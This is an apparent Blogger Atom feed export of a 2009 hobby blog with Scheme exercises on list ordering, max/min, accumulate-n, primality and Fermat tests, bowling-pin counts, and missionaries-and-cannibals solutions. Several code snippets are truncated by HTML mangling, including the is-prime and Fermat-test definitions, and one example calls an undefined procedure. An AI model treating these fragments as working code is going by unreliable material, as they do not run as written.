(order-help (+ n 1)))))&lt;br /&gt;  (order-help 1))&lt;br /&gt;&lt;br /&gt;(order '(a b c d e) '(1 2 3 4 5))&lt;br /&gt;; Value 1: (a b c d e)&lt;br /&gt;(order '(a b c d e) '(4 1 2 3 5))&lt;br /&gt;; Value 2: (b c d a e)&lt;br /&gt;(order '(a b c d e) '(5 4 3 2 1))&lt;br /&gt;; Value 3: (e d c b a)&lt;br /&gt;(order '(a b c d e) '(1 5 2 4 3))&lt;br /&gt;; Value 4: (a c e d b)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-3856864464330755227?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/3856864464330755227/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=3856864464330755227' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3856864464330755227'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3856864464330755227'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/12/order-list-as-per-list-using-scheme.html' title='Order a list as per list using scheme'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2576872029670084509</id><published>2009-12-18T16:24:00.000-08:00</published><updated>2009-12-18T16:33:10.546-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scheme'/><title type='text'>My maximum and minimum procedure in scheme</title><content type='html'>Scheme comes with two built-in procedures to get the maximum and minimum of a given set of numbers. The documentation explains the procedures as below:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(max x ...+) → real?&lt;br /&gt;x : real?&lt;br /&gt;Returns the largest of the xs, or +nan.0 if any x is +nan.0. If any x is inexact, the result is coerced to inexact.&lt;br /&gt;&lt;br /&gt;Examples:&lt;br /&gt;&gt; (max 1 3 2)&lt;br /&gt;&lt;br /&gt;3&lt;br /&gt;&gt; (max 1 3 2.0)&lt;br /&gt;&lt;br /&gt;3.0&lt;br /&gt;(min x ...+) → real?&lt;br /&gt;x : real?&lt;br /&gt;Returns the smallest of the xs, or +nan.0 if any x is +nan.0. If any x is inexact, the result is coerced to inexact.&lt;br /&gt;&lt;br /&gt;Examples:&lt;br /&gt;&gt; (min 1 3 2)&lt;br /&gt;&lt;br /&gt;1&lt;br /&gt;&gt; (min 1 3 2.0)&lt;br /&gt;&lt;br /&gt;1.0&lt;br /&gt;&lt;br /&gt;My own implementations of max and min also work in the same way, including that fact that (max 1) will return 1 instead of an error that only one number is given. The code for max and min are the same except for the signs.&lt;br /&gt;&lt;br /&gt;(define (mymin x . lst)&lt;br /&gt;(define (myleast lst6 last)&lt;br /&gt;(if (null? (cdr (if (pair? lst6) lst6  (list lst6)))) last&lt;br /&gt;    (if (&lt;&gt; last (car(cdr lst6))) (myleast (cdr lst6) last) (myleast (cdr lst6) (car (cdr lst6))))))&lt;br /&gt;(myleast lst x))&lt;br /&gt;&lt;br /&gt;(mymax 2 3 4 5 6 1)&lt;br /&gt;&lt;br /&gt;These procedure demonstrate the simple concept of sending 1 or more arguments to a scheme procedure. The arguments come into the procedure in the form of a list. The operator  "." does the trick.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2576872029670084509?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2576872029670084509/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2576872029670084509' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2576872029670084509'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2576872029670084509'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/12/my-maximum-and-minimum-procedure-in.html' title='My maximum and minimum procedure in scheme'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-7557646530421329515</id><published>2009-12-16T13:53:00.000-08:00</published><updated>2009-12-16T13:57:22.666-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tech'/><category scheme='http://www.blogger.com/atom/ns#' term='scheme'/><title type='text'>Scheme program for accumulate - n</title><content type='html'>The following are two implementations of accumulate - n one that uses map and another that does not. However, both use accumulate procedure.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;(define (accumulate op init lst)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;  (if (null? lst)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;      init&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;      (op (car lst)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;           (accumulate op init&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;                         (cdr lst)))))&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Implementation 1:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;(define (accumulate-n op init seqs)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;(if (null? (car seqs))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;'()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;(cons (accumulate op init (car seqs))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;      (accumulate-n op init (if (pair? (cdr seqs)) (cdr seqs) (list(cdr seqs)))))))&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;(accumulate-n + 0 (list (list 1) (list 4 5 6)))&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Implementation 2:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;(define (accumulate-n op init lst)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;  (define (accumulate-help lst)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;  (accumulate op init lst))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;  (map accumulate-help lst))&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;(accumulate-n + 0 (list (list 1 2 3) (list 4 5 6) (list 7 8 9)))&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-7557646530421329515?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/7557646530421329515/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=7557646530421329515' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7557646530421329515'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7557646530421329515'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/12/scheme-program-for-accumulate-n.html' title='Scheme program for accumulate - n'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-5893183908584371440</id><published>2009-12-12T16:06:00.000-08:00</published><updated>2009-12-12T16:20:31.246-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='game'/><title type='text'>3 Missionaries and 3 cannibals - crossing the river</title><content type='html'>3 missionaries (or sheep or carrots) and 3 cannibals (or wolves or rabbits) stand on a riverbank. On&lt;br /&gt;the same riverbank a boat, that can maximally take 2 persons (minimally 1), lies. The 6 people are&lt;br /&gt;facing a problem: how to optimally transport (minimal number of moves) ourselves from&lt;br /&gt;the current riverbank (the left one) to the opposite bank of the river (the right one) in a way&lt;br /&gt;that guarantees that at any time the number of cannibals never outnumber the number of&lt;br /&gt;missionaries (they will then be eaten)?&lt;br /&gt;&lt;br /&gt;The missionaries and cannibal problem is a popular problem used in Artificial intelligence to understand and experiment with search methods. Here is a list of the possible optimal solutions for the various cases&lt;br /&gt;&lt;br /&gt;1 cannibal and 1 missionary&lt;br /&gt;&lt;br /&gt;Step1:(left 1 1 0 0)&lt;br /&gt;Step2:(right 0 0 1 1)&lt;br /&gt;&lt;br /&gt;2 cannibals and 2 missionaries&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Solution1:&lt;/span&gt;&lt;br /&gt;((left 2 2 0 0) (right 2 0 0 2) (left 2 1 0 1) (right 0 1 2 1) (left 1 1 1 1) (right 0 0 2 2))&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Solution2:&lt;/span&gt;&lt;br /&gt;((left 2 2 0 0) (right 1 1 1 1) (left 2 1 0 1) (right 0 1 2 1) (left 0 2 2 0) (right 0 0 2 2))&lt;br /&gt;&lt;br /&gt;3 cannibals and 3 missionaries&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Solution1:&lt;/span&gt;&lt;br /&gt;((left 3 3 0 0)&lt;br /&gt; (right 3 1 0 2)&lt;br /&gt; (left 3 2 0 1)&lt;br /&gt; (right 3 0 0 3)&lt;br /&gt; (left 3 1 0 2)&lt;br /&gt; (right 1 1 2 2)&lt;br /&gt; (left 2 2 1 1)&lt;br /&gt; (right 0 2 3 1)&lt;br /&gt; (left 0 3 3 0)&lt;br /&gt; (right 0 1 3 2)&lt;br /&gt; (left 1 1 2 2)&lt;br /&gt; (right 0 0 3 3))&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Solution2:&lt;br /&gt;&lt;br /&gt;((left 3 3 0 0)&lt;br /&gt; (right 2 2 1 1)&lt;br /&gt; (left 3 2 0 1)&lt;br /&gt; (right 3 0 0 3)&lt;br /&gt; (left 3 1 0 2)&lt;br /&gt; (right 1 1 2 2)&lt;br /&gt; (left 2 2 1 1)&lt;br /&gt; (right 0 2 3 1)&lt;br /&gt; (left 0 3 3 0)&lt;br /&gt; (right 0 1 3 2)&lt;br /&gt; (left 0 2 3 1)&lt;br /&gt; (right 0 0 3 3))&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;2 cannibals and 3 missionaries&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Solution1:&lt;br /&gt;&lt;br /&gt;((left 3 2 0 0)&lt;br /&gt; (right 2 1 1 1)&lt;br /&gt; (left 2 2 1 0)&lt;br /&gt; (right 1 1 2 1)&lt;br /&gt; (left 2 1 1 1)&lt;br /&gt; (right 1 0 2 2)&lt;br /&gt; (left 1 1 2 1)&lt;br /&gt; (right 0 0 3 2))&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Solution2:&lt;br /&gt;&lt;br /&gt;((left 3 2 0 0)&lt;br /&gt; (right 3 0 0 2)&lt;br /&gt; (left 3 1 0 1)&lt;br /&gt; (right 1 1 2 1)&lt;br /&gt; (left 2 1 1 1)&lt;br /&gt; (right 0 1 3 1)&lt;br /&gt; (left 1 1 2 1)&lt;br /&gt; (right 0 0 3 2))&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;1 cannibal and 2 missionaries&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Solution1:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;((left 2 1 0 0) (right 0 1 2 0) (left 1 1 1 0) (right 0 0 2 1))&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Solution2:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;((left 2 1 0 0) (right 0 1 2 0) (left 1 1 1 0) (right 1 0 1 1) (left 2 0 0 1) (right 0 0 2 1))&lt;br /&gt;&lt;br /&gt;0 cannibal and 1 missionaries&lt;br /&gt;&lt;br /&gt;((left 1 0 0 0) (right 0 0 1 0))&lt;br /&gt;&lt;br /&gt;Solutions are not possible for numbers greater than 3 or cases in which cannibals outnumber missionaries.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-5893183908584371440?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/5893183908584371440/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=5893183908584371440' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5893183908584371440'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/5893183908584371440'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/12/3-missionaries-and-3-cannibals-crossing.html' title='3 Missionaries and 3 cannibals - crossing the river'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8850142025521959045</id><published>2009-12-08T05:15:00.000-08:00</published><updated>2009-12-16T13:57:22.667-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tech'/><category scheme='http://www.blogger.com/atom/ns#' term='scheme'/><title type='text'>Prime number or not  program - scheme</title><content type='html'>  &lt;style type="text/css"&gt;&lt;!-- 		@page { margin: 0.79in } 		P { margin-bottom: 0.08in }&lt;/style&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;There are many different procedures for testing primality of numbers. One way to&lt;/span&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;test if a number is a prime is to find the number's divisors. If a number &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;n &lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;is prime then&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;n &lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;equals the smallest integral divisor of &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;n&lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;.&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPS-BoldMT, sans-serif;"&gt;&lt;b&gt;Below procedure tests if a number is a prime based on the above method.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="color:#3366ff;"&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;&lt;b&gt;(define (is-prime-help n count) (if (= count 1) #t (if(= (modulo n count) 0) #f (is-prime-help n (- count 1)))))&lt;/b&gt;&lt;/span&gt;&lt;/span&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color:#3366ff;"&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;&lt;b&gt;(define (is-prime n) (if(&lt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;Another method is related to Fermat’s little theorem:&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;If &lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;n &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;is a prime number and &lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;a &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;is any positive integer less than &lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;n&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;, then &lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;a &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;raised to the&lt;/i&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;n&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;th power is congruent to &lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;a &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;modulo &lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;n&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;.&lt;/i&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;Two numbers are said to be congruent modulo &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;n &lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;if they both have the same remainder&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;when divided by &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;n&lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;. Trying a random number &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;a &lt;&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;, one can be sure that &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;n &lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;is not prime&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;if the remainder of &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;a&lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;span style="font-size:78%;"&gt;&lt;i&gt;n &lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;modulo &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;n &lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;is not equal to &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;a&lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;. However, the opposite does not&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;always hold, i.e. a number &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;n &lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;is not always prime if the remainder of &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;a&lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;span style="font-size:78%;"&gt;&lt;i&gt;n &lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;modulo &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;n &lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;is&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;equal to &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;a&lt;/i&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;. By trying more and more random &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;a &lt;&gt;&lt;/span&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;, one can get more confident that &lt;/span&gt;&lt;span style="font-family:TimesNewRomanPS-ItalicMT, sans-serif;"&gt;&lt;i&gt;n&lt;/i&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPSMT, sans-serif;"&gt;is prime. This algorithm is known as the Fermat test.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPS-BoldMT, sans-serif;"&gt;&lt;b&gt;Below implements a Fermat test procedure.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="color:#0000ff;"&gt;&lt;span style="font-family:TimesNewRomanPS-BoldMT, sans-serif;"&gt;(define a 0)&lt;/span&gt;&lt;/span&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color:#0000ff;"&gt;&lt;span style="font-family:TimesNewRomanPS-BoldMT, sans-serif;"&gt;(define (ftp n k) (cond((= k 0) #t) ((= n 2) #t) ((&lt;&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;Fermats test is not always accurate as fermat liers can complicate the situation. Modified versions of Fermats test however provide more accurate results.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8850142025521959045?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8850142025521959045/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8850142025521959045' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8850142025521959045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8850142025521959045'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/12/prime-number-or-not-program-scheme.html' title='Prime number or not  program - scheme'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-7004105484541932727</id><published>2009-12-06T15:26:00.000-08:00</published><updated>2009-12-06T15:30:18.171-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tech'/><category scheme='http://www.blogger.com/atom/ns#' term='scheme'/><title type='text'>How many pins?</title><content type='html'> &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;In bowling one often uses ten pins positioned on four rows. How many pins are needed for five rows, six rows, or n rows (where n is a positive integer)?&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;The below procedure calculates the number of pins needed for n rows recurssively.&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;(define (number-of-pins-rec n)(if(= n 1) n (+ n (number-of-pins-rec(- n 1)))))&lt;/span&gt;&lt;/span&gt;  &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;&gt; (number-of-pins-rec 2)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;&gt; (number-of-pins-rec 4)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;10&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;&gt; (number-of-pins-rec 5)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;15&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;&gt; (number-of-pins-rec 6)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;21&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;The procedure in a iterative process.&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;(define (number-of-pins-it-help n sum count)&lt;/span&gt;&lt;/span&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;(if (&gt; count n)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;sum&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;(number-of-pins-it-help n&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;&lt;span style="font-family:TimesNewRomanPSMT,sans-serif;"&gt;(+ sum 